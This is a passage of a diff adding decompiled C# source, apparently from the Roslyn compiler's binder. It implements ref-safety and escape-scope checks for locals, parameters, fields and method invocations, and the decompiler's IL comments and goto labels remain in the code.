_placeholderScopes; + + private uint _patternInputValEscape; + + private bool CheckLocalRefEscape(SyntaxNode node, BoundLocal local, uint escapeTo, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + LocalSymbol localSymbol = local.LocalSymbol; + if (GetLocalScopes(localSymbol).RefEscapeScope <= escapeTo) + { + return true; + } + bool inUnsafeRegion = _inUnsafeRegion; + if (escapeTo <= 1) + { + if ((int)localSymbol.RefKind == 0) + { + if (checkingReceiver) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_RefReturnLocal2 : ErrorCode.ERR_RefReturnLocal2, SyntaxNodeOrToken.op_Implicit(local.Syntax), localSymbol); + } + else + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_RefReturnLocal : ErrorCode.ERR_RefReturnLocal, SyntaxNodeOrToken.op_Implicit(node), localSymbol); + } + return inUnsafeRegion; + } + if (checkingReceiver) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_RefReturnNonreturnableLocal2 : ErrorCode.ERR_RefReturnNonreturnableLocal2, SyntaxNodeOrToken.op_Implicit(local.Syntax), localSymbol); + } + else + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_RefReturnNonreturnableLocal : ErrorCode.ERR_RefReturnNonreturnableLocal, SyntaxNodeOrToken.op_Implicit(node), localSymbol); + } + return inUnsafeRegion; + } + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_EscapeVariable : ErrorCode.ERR_EscapeVariable, SyntaxNodeOrToken.op_Implicit(node), localSymbol); + return inUnsafeRegion; + } + + private static EscapeLevel? EscapeLevelFromScope(uint scope) + { + return scope switch + { + 1u => EscapeLevel.ReturnOnly, + 0u => EscapeLevel.CallingMethod, + _ => null, + }; + } + + private static uint GetParameterValEscape(ParameterSymbol parameter) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + if ((object)parameter != null) + { + if ((int)parameter.EffectiveScope == 2) + { + return 2u; + } + if ((int)parameter.RefKind == 2 && parameter.UseUpdatedEscapeRules) + { + return 1u; + } + } + return 0u; + } + + private static EscapeLevel? GetParameterValEscapeLevel(ParameterSymbol parameter) + { + return EscapeLevelFromScope(GetParameterValEscape(parameter)); + } + + private static uint GetParameterRefEscape(ParameterSymbol parameter) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if ((object)parameter != null) + { + RefKind refKind = parameter.RefKind; + if ((int)refKind == 0) + { + return 2u; + } + if ((int)parameter.EffectiveScope == 1) + { + return 2u; + } + if (parameter.HasUnscopedRefAttribute) + { + if ((int)refKind == 2) + { + return 1u; + } + if (!parameter.IsThis) + { + return 0u; + } + } + } + return 1u; + } + + private static EscapeLevel? GetParameterRefEscapeLevel(ParameterSymbol parameter) + { + return EscapeLevelFromScope(GetParameterRefEscape(parameter)); + } + + private bool CheckParameterValEscape(SyntaxNode node, ParameterSymbol parameter, uint escapeTo, BindingDiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (_useUpdatedEscapeRules) + { + if (GetParameterValEscape(parameter) > escapeTo) + { + Error(diagnostics, _inUnsafeRegion ? ErrorCode.WRN_EscapeVariable : ErrorCode.ERR_EscapeVariable, SyntaxNodeOrToken.op_Implicit(node), parameter); + return _inUnsafeRegion; + } + return true; + } + return true; + } + + private bool CheckParameterRefEscape(SyntaxNode node, BoundExpression parameter, ParameterSymbol parameterSymbol, uint escapeTo, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + uint parameterRefEscape = GetParameterRefEscape(parameterSymbol); + if (parameterRefEscape > escapeTo) + { + bool flag = (int)parameterSymbol.EffectiveScope == 1; + bool inUnsafeRegion = _inUnsafeRegion; + if (parameter is BoundThisReference) + { + Error(diagnostics, inUnsafeRegion ? ErrorCode.WRN_RefReturnStructThis : ErrorCode.ERR_RefReturnStructThis, SyntaxNodeOrToken.op_Implicit(node)); + return inUnsafeRegion; + } + var (code, val) = (checkingReceiver ? (flag ? (inUnsafeRegion ? (ErrorCode.WRN_RefReturnScopedParameter2, parameter.Syntax) : (ErrorCode.ERR_RefReturnScopedParameter2, parameter.Syntax)) : ((!inUnsafeRegion) ? ((parameterRefEscape != 1) ? (ErrorCode.ERR_RefReturnParameter2, parameter.Syntax) : (ErrorCode.ERR_RefReturnOnlyParameter2, parameter.Syntax)) : ((parameterRefEscape != 1) ? (ErrorCode.WRN_RefReturnParameter2, parameter.Syntax) : (ErrorCode.WRN_RefReturnOnlyParameter2, parameter.Syntax)))) : (flag ? (inUnsafeRegion ? (ErrorCode.WRN_RefReturnScopedParameter, node) : (ErrorCode.ERR_RefReturnScopedParameter, node)) : ((!inUnsafeRegion) ? ((parameterRefEscape != 1) ? (ErrorCode.ERR_RefReturnParameter, node) : (ErrorCode.ERR_RefReturnOnlyParameter, node)) : ((parameterRefEscape != 1) ? (ErrorCode.WRN_RefReturnParameter, node) : (ErrorCode.WRN_RefReturnOnlyParameter, node))))); + Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(val), parameterSymbol.Name); + return inUnsafeRegion; + } + return true; + } + + private uint GetFieldRefEscape(BoundFieldAccess fieldAccess, uint scopeOfTheContainingExpression) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic || fieldSymbol.ContainingType.IsReferenceType) + { + return 0u; + } + if (_useUpdatedEscapeRules && (int)fieldSymbol.RefKind != 0) + { + return GetValEscape(fieldAccess.ReceiverOpt, scopeOfTheContainingExpression); + } + return GetRefEscape(fieldAccess.ReceiverOpt, scopeOfTheContainingExpression); + } + + private bool CheckFieldRefEscape(SyntaxNode node, BoundFieldAccess fieldAccess, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic || fieldSymbol.ContainingType.IsReferenceType) + { + return true; + } + if (_useUpdatedEscapeRules && (int)fieldSymbol.RefKind != 0) + { + return CheckValEscape(node, fieldAccess.ReceiverOpt, escapeFrom, escapeTo, checkingReceiver: true, diagnostics); + } + return CheckRefEscape(node, fieldAccess.ReceiverOpt, escapeFrom, escapeTo, checkingReceiver: true, diagnostics); + } + + private bool CheckFieldLikeEventRefEscape(SyntaxNode node, BoundEventAccess eventAccess, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + EventSymbol eventSymbol = eventAccess.EventSymbol; + if (eventSymbol.IsStatic || eventSymbol.ContainingType.IsReferenceType) + { + return true; + } + return CheckRefEscape(node, eventAccess.ReceiverOpt, escapeFrom, escapeTo, checkingReceiver: true, diagnostics); + } + + internal uint GetInterpolatedStringHandlerConversionEscapeScope(BoundExpression expression, uint scopeOfTheContainingExpression) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + uint num = GetValEscape(expression.GetInterpolatedStringHandlerData().Construction, scopeOfTheContainingExpression); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInterpolatedStringHandlerArgumentsForEscape(expression, instance); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + uint valEscape = GetValEscape(current, scopeOfTheContainingExpression); + num = Math.Max(num, valEscape); + } + instance.Free(); + return num; + } + + private uint GetInvocationEscapeScope(Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, uint scopeOfTheContainingExpression, bool isRefEscape) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Invalid comparison between Unknown and I4 + if (UseUpdatedEscapeRulesForInvocation(symbol)) + { + return GetInvocationEscapeWithUpdatedRules(symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, scopeOfTheContainingExpression, isRefEscape); + } + if (!symbol.RequiresInstanceReceiver()) + { + receiver = null; + } + uint num = 0u; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInvocationArgumentsForEscape(symbol, null, (ThreeState)0, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, ignoreArglistRefKinds: true, null, instance); + try + { + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out ParameterSymbol _, out BoundExpression argument, out RefKind refKind); + BoundExpression expr = argument; + uint val = (((int)refKind > 0 && isRefEscape) ? GetRefEscape(expr, scopeOfTheContainingExpression) : GetValEscape(expr, scopeOfTheContainingExpression)); + num = Math.Max(num, val); + if (num >= scopeOfTheContainingExpression) + { + return num; + } + } + } + finally + { + instance.Free(); + } + if (receiver != null && receiver.Type?.IsRefLikeType == true) + { + num = Math.Max(num, GetValEscape(receiver, scopeOfTheContainingExpression)); + } + return num; + } + + private uint GetInvocationEscapeWithUpdatedRules(Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, uint scopeOfTheContainingExpression, bool isRefEscape) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + uint num = 0u; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetFilteredInvocationArgumentsForEscapeWithUpdatedRules(symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, isRefEscape, ignoreArglistRefKinds: true, instance); + bool flag = ReturnsRefToRefStruct(symbol); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out ParameterSymbol parameter, out BoundExpression argument, out EscapeLevel _, out bool isRefEscape2); + ParameterSymbol parameterSymbol = parameter; + BoundExpression expr = argument; + bool flag2 = isRefEscape2; + isRefEscape2 = !flag; + bool flag3; + if (!isRefEscape2) + { + if ((object)parameterSymbol == null) + { + goto IL_0082; + } + if ((int)parameterSymbol.RefKind != 0) + { + TypeSymbol type = parameterSymbol.Type; + if ((object)type != null && type.IsRefLikeType) + { + goto IL_0082; + } + } + flag3 = false; + goto IL_008a; + } + goto IL_0099; + IL_008a: + isRefEscape2 = flag3 && flag2 == isRefEscape; + goto IL_0099; + IL_0099: + if (isRefEscape2) + { + uint val = (flag2 ? GetRefEscape(expr, scopeOfTheContainingExpression) : GetValEscape(expr, scopeOfTheContainingExpression)); + num = Math.Max(num, val); + if (num >= scopeOfTheContainingExpression) + { + break; + } + } + continue; + IL_0082: + flag3 = true; + goto IL_008a; + } + instance.Free(); + return num; + } + + private static bool ReturnsRefToRefStruct(Symbol symbol) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + MethodSymbol methodSymbol = ((symbol is MethodSymbol methodSymbol2) ? methodSymbol2 : ((!(symbol is PropertySymbol propertySymbol)) ? null : propertySymbol.GetMethod)); + MethodSymbol methodSymbol3 = methodSymbol; + if ((object)methodSymbol3 != null && (int)methodSymbol3.RefKind != 0) + { + TypeSymbol returnType = methodSymbol3.ReturnType; + if ((object)returnType != null) + { + return returnType.IsRefLikeType; + } + } + return false; + } + + private bool CheckInvocationEscape(SyntaxNode syntax, Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, bool checkingReceiver, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics, bool isRefEscape) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + if (UseUpdatedEscapeRulesForInvocation(symbol)) + { + return CheckInvocationEscapeWithUpdatedRules(syntax, symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, checkingReceiver, escapeFrom, escapeTo, diagnostics, isRefEscape); + } + if (!symbol.RequiresInstanceReceiver()) + { + receiver = null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInvocationArgumentsForEscape(symbol, null, (ThreeState)0, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, ignoreArglistRefKinds: true, null, instance); + try + { + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (parameter, boundExpression2, val2) = (EscapeArgument)(ref enumerator.Current); + if (!(((int)val2 > 0 && isRefEscape) ? CheckRefEscape(boundExpression2.Syntax, boundExpression2, escapeFrom, escapeTo, checkingReceiver: false, diagnostics) : CheckValEscape(boundExpression2.Syntax, boundExpression2, escapeFrom, escapeTo, checkingReceiver: false, diagnostics))) + { + if (!(symbol is SignatureOnlyMethodSymbol)) + { + ReportInvocationEscapeError(syntax, symbol, parameter, checkingReceiver, diagnostics); + } + return false; + } + } + } + finally + { + instance.Free(); + } + if (receiver != null && receiver.Type?.IsRefLikeType == true) + { + return CheckValEscape(receiver.Syntax, receiver, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + } + return true; + } + + private bool CheckInvocationEscapeWithUpdatedRules(SyntaxNode syntax, Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, bool checkingReceiver, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics, bool isRefEscape) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Invalid comparison between Unknown and I4 + bool result = true; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetFilteredInvocationArgumentsForEscapeWithUpdatedRules(symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, isRefEscape, ignoreArglistRefKinds: true, instance); + bool flag = ReturnsRefToRefStruct(symbol); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Deconstruct(out ParameterSymbol parameter, out BoundExpression argument, out EscapeLevel _, out bool isRefEscape2); + ParameterSymbol parameterSymbol = parameter; + BoundExpression boundExpression = argument; + bool flag2 = isRefEscape2; + isRefEscape2 = !flag; + bool flag3; + if (!isRefEscape2) + { + if ((object)parameterSymbol == null) + { + goto IL_0083; + } + if ((int)parameterSymbol.RefKind != 0) + { + TypeSymbol type = parameterSymbol.Type; + if ((object)type != null && type.IsRefLikeType) + { + goto IL_0083; + } + } + flag3 = false; + goto IL_008b; + } + goto IL_009a; + IL_008b: + isRefEscape2 = flag3 && flag2 == isRefEscape; + goto IL_009a; + IL_009a: + if (isRefEscape2 && !(flag2 ? CheckRefEscape(boundExpression.Syntax, boundExpression, escapeFrom, escapeTo, checkingReceiver: false, diagnostics) : CheckValEscape(boundExpression.Syntax, boundExpression, escapeFrom, escapeTo, checkingReceiver: false, diagnostics))) + { + if (((boundExpression as BoundCapturedReceiverPlaceholder)?.Receiver ?? boundExpression) != receiver && !(symbol is SignatureOnlyMethodSymbol)) + { + ReportInvocationEscapeError(syntax, symbol, parameterSymbol, checkingReceiver, diagnostics); + } + result = false; + break; + } + continue; + IL_0083: + flag3 = true; + goto IL_008b; + } + instance.Free(); + return result; + } + + private void GetInvocationArgumentsForEscape(Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, bool ignoreArglistRefKinds, ArrayBuilder? mixableArguments, ArrayBuilder escapeArguments) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0166: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Invalid comparison between Unknown and I4 + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_01bf: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01a4: Unknown result type (might be due to invalid IL or missing references) + //IL_01a6: Invalid comparison between Unknown and I4 + if (receiver != null) + { + MethodSymbol methodSymbol2; + if (!(symbol is MethodSymbol methodSymbol)) + { + if (!(symbol is PropertySymbol propertySymbol)) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol); + } + methodSymbol2 = propertySymbol.GetMethod ?? propertySymbol.SetMethod; + } + else + { + methodSymbol2 = methodSymbol; + } + MethodSymbol method = methodSymbol2; + if ((int)receiverIsSubjectToCloning == 2) + { + receiver = new BoundCapturedReceiverPlaceholder(receiver.Syntax, receiver, _localScopeDepth, receiver.Type).MakeCompilerGenerated(); + } + EscapeArgument escapeArgument = getReceiver(method, receiver); + escapeArguments.Add(escapeArgument); + if (mixableArguments != null && isMixableParameter(escapeArgument.Parameter)) + { + mixableArguments.Add(new MixableDestination(escapeArgument.Parameter, receiver)); + } + } + if (argsOpt.IsDefault) + { + return; + } + for (int num = 0; num < argsOpt.Length; num++) + { + BoundExpression boundExpression = argsOpt[num]; + if (boundExpression.Kind == BoundKind.ArgListOperator) + { + BoundArgListOperator boundArgListOperator = (BoundArgListOperator)boundExpression; + getArgList(boundArgListOperator.Arguments, ignoreArglistRefKinds ? default(ImmutableArray) : boundArgListOperator.ArgumentRefKindsOpt, mixableArguments, escapeArguments); + break; + } + ParameterSymbol parameterSymbol = ((num < parameters.Length) ? parameters[argsToParamsOpt.IsDefault ? num : argsToParamsOpt[num]] : null); + if (mixableArguments != null && isMixableParameter(parameterSymbol) && isMixableArgument(boundExpression)) + { + mixableArguments.Add(new MixableDestination(parameterSymbol, boundExpression)); + } + RefKind val = (RefKind)(((object)parameterSymbol != null) ? ((int)parameterSymbol.RefKind) : 0); + if (!argRefKindsOpt.IsDefault) + { + val = argRefKindsOpt[num]; + } + bool flag = (int)val == 0; + bool flag2; + if (flag) + { + RefKind? val2 = parameterSymbol?.RefKind; + if (val2.HasValue) + { + RefKind valueOrDefault = val2.GetValueOrDefault(); + if (valueOrDefault - 3 <= 1) + { + flag2 = true; + goto IL_01b0; + } + } + flag2 = false; + goto IL_01b0; + } + goto IL_01b4; + IL_01b0: + flag = flag2; + goto IL_01b4; + IL_01b4: + if (flag) + { + val = parameterSymbol.RefKind; + } + escapeArguments.Add(new EscapeArgument(parameterSymbol, boundExpression, val)); + } + static void getArgList(ImmutableArray immutableArray, ImmutableArray immutableArray2, ArrayBuilder? val5, ArrayBuilder val4) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + for (int i = 0; i < immutableArray.Length; i++) + { + BoundExpression argument = immutableArray[i]; + RefKind val3 = (RefKind)((!immutableArray2.IsDefault) ? ((int)immutableArray2[i]) : 0); + val4.Add(new EscapeArgument(null, argument, val3, isArgList: true)); + if ((int)val3 == 1) + { + val5?.Add(new MixableDestination(argument, EscapeLevel.CallingMethod)); + } + } + } + static EscapeArgument getReceiver(MethodSymbol? methodSymbol3, BoundExpression argument) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (methodSymbol3 is FunctionPointerMethodSymbol) + { + return new EscapeArgument(null, argument, (RefKind)0); + } + RefKind refKind = (RefKind)0; + ParameterSymbol thisParameter = null; + if ((object)methodSymbol3 != null && methodSymbol3.TryGetThisParameter(out thisParameter) && (object)thisParameter != null) + { + refKind = thisParameter.RefKind; + } + return new EscapeArgument(thisParameter, argument, refKind); + } + static bool isMixableArgument(BoundExpression argument) + { + if (argument is BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder) + { + if ((object)boundDeconstructValuePlaceholder.VariableSymbol != null) + { + goto IL_0026; + } + } + else if (argument is BoundLocal { DeclarationKind: not BoundLocalDeclarationKind.None }) + { + goto IL_0026; + } + bool flag3 = false; + goto IL_002c; + IL_0026: + flag3 = true; + goto IL_002c; + IL_002c: + if (flag3) + { + return false; + } + if (argument.IsDiscardExpression()) + { + return false; + } + return true; + } + static bool isMixableParameter([NotNullWhen(true)] ParameterSymbol? parameter) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if ((object)parameter != null && parameter.Type.IsRefLikeType) + { + return parameter.RefKind.IsWritableReference(); + } + return false; + } + } + + private void GetFilteredInvocationArgumentsForEscapeWithUpdatedRules(Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, bool isInvokedWithRef, bool ignoreArglistRefKinds, ArrayBuilder escapeValues) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (isInvokedWithRef || hasRefLikeReturn(symbol)) + { + GetEscapeValuesForUpdatedRules(symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, ignoreArglistRefKinds, null, escapeValues); + } + static bool hasRefLikeReturn(Symbol symbol2) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + if (symbol2 is MethodSymbol methodSymbol) + { + if ((int)methodSymbol.MethodKind == 1) + { + return methodSymbol.ContainingType.IsRefLikeType; + } + return methodSymbol.ReturnType.IsRefLikeType; + } + if (symbol2 is PropertySymbol propertySymbol) + { + return propertySymbol.Type.IsRefLikeType; + } + return false; + } + } + + private void GetEscapeValuesForUpdatedRules(Symbol symbol, BoundExpression? receiver, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, bool ignoreArglistRefKinds, ArrayBuilder? mixableArguments, ArrayBuilder escapeValues) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Invalid comparison between Unknown and I4 + if (!symbol.RequiresInstanceReceiver()) + { + receiver = null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInvocationArgumentsForEscape(symbol, receiver, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, ignoreArglistRefKinds, mixableArguments, instance); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (parameterSymbol2, boundExpression2, val2) = (EscapeArgument)(ref enumerator.Current); + if ((object)parameterSymbol2 == null) + { + if ((int)val2 != 0) + { + escapeValues.Add(new EscapeValue(null, boundExpression2, EscapeLevel.ReturnOnly, isRefEscape: true)); + } + TypeSymbol? type = boundExpression2.Type; + if ((object)type != null && type.IsRefLikeType) + { + escapeValues.Add(new EscapeValue(null, boundExpression2, EscapeLevel.CallingMethod, isRefEscape: false)); + } + continue; + } + if (parameterSymbol2.Type.IsRefLikeType && (int)parameterSymbol2.RefKind != 2) + { + EscapeLevel? parameterValEscapeLevel = GetParameterValEscapeLevel(parameterSymbol2); + if (parameterValEscapeLevel.HasValue) + { + EscapeLevel valueOrDefault = parameterValEscapeLevel.GetValueOrDefault(); + escapeValues.Add(new EscapeValue(parameterSymbol2, boundExpression2, valueOrDefault, isRefEscape: false)); + } + } + if ((int)parameterSymbol2.RefKind != 0) + { + EscapeLevel? parameterValEscapeLevel = GetParameterRefEscapeLevel(parameterSymbol2); + if (parameterValEscapeLevel.HasValue) + { + EscapeLevel valueOrDefault2 = parameterValEscapeLevel.GetValueOrDefault(); + escapeValues.Add(new EscapeValue(parameterSymbol2, boundExpression2, valueOrDefault2, isRefEscape: true)); + } + } + } + instance.Free(); + } + + private static string GetInvocationParameterName(ParameterSymbol? parameter) + { + if ((object)parameter == null) + { + return "__arglist"; + } + string text = parameter.Name; + if (string.IsNullOrEmpty(text)) + { + text = parameter.Ordinal.ToString(); + } + return text; + } + + private static void ReportInvocationEscapeError(SyntaxNode syntax, Symbol symbol, ParameterSymbol? parameter, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ErrorCode standardCallEscapeError = GetStandardCallEscapeError(checkingReceiver); + string invocationParameterName = GetInvocationParameterName(parameter); + Error(diagnostics, standardCallEscapeError, SyntaxNodeOrToken.op_Implicit(syntax), symbol, invocationParameterName); + } + + private bool UseUpdatedEscapeRulesForInvocation(Symbol symbol) + { + MethodSymbol methodSymbol2; + if (!(symbol is MethodSymbol methodSymbol)) + { + if (!(symbol is PropertySymbol propertySymbol)) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol); + } + methodSymbol2 = propertySymbol.GetMethod ?? propertySymbol.SetMethod; + } + else + { + methodSymbol2 = methodSymbol; + } + return methodSymbol2?.UseUpdatedEscapeRules ?? false; + } + + private bool ShouldInferDeclarationExpressionValEscape(BoundExpression argument, [NotNullWhen(true)] out SourceLocalSymbol? localSymbol) + { + Symbol symbol = ((argument is BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder) ? boundDeconstructValuePlaceholder.VariableSymbol : ((!(argument is BoundLocal { DeclarationKind: not BoundLocalDeclarationKind.None } boundLocal)) ? null : boundLocal.LocalSymbol)); + if (symbol is SourceLocalSymbol sourceLocalSymbol && GetLocalScopes(sourceLocalSymbol).ValEscapeScope == 0) + { + localSymbol = sourceLocalSymbol; + return true; + } + localSymbol = null; + return false; + } + + private bool CheckInvocationArgMixing(SyntaxNode syntax, Symbol symbol, BoundExpression? receiverOpt, ThreeState receiverIsSubjectToCloning, ImmutableArray parameters, ImmutableArray argsOpt, ImmutableArray argRefKindsOpt, ImmutableArray argsToParamsOpt, uint scopeOfTheContainingExpression, BindingDiagnosticBag diagnostics) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + if (UseUpdatedEscapeRulesForInvocation(symbol)) + { + return CheckInvocationArgMixingWithUpdatedRules(syntax, symbol, receiverOpt, receiverIsSubjectToCloning, parameters, argsOpt, argRefKindsOpt, argsToParamsOpt, scopeOfTheContainingExpression, diagnostics); + } + if (!symbol.RequiresInstanceReceiver()) + { + receiverOpt = null; + } + uint num = scopeOfTheContainingExpression; + TypeSymbol? obj = receiverOpt?.Type; + if ((object)obj != null && obj.IsRefLikeType && 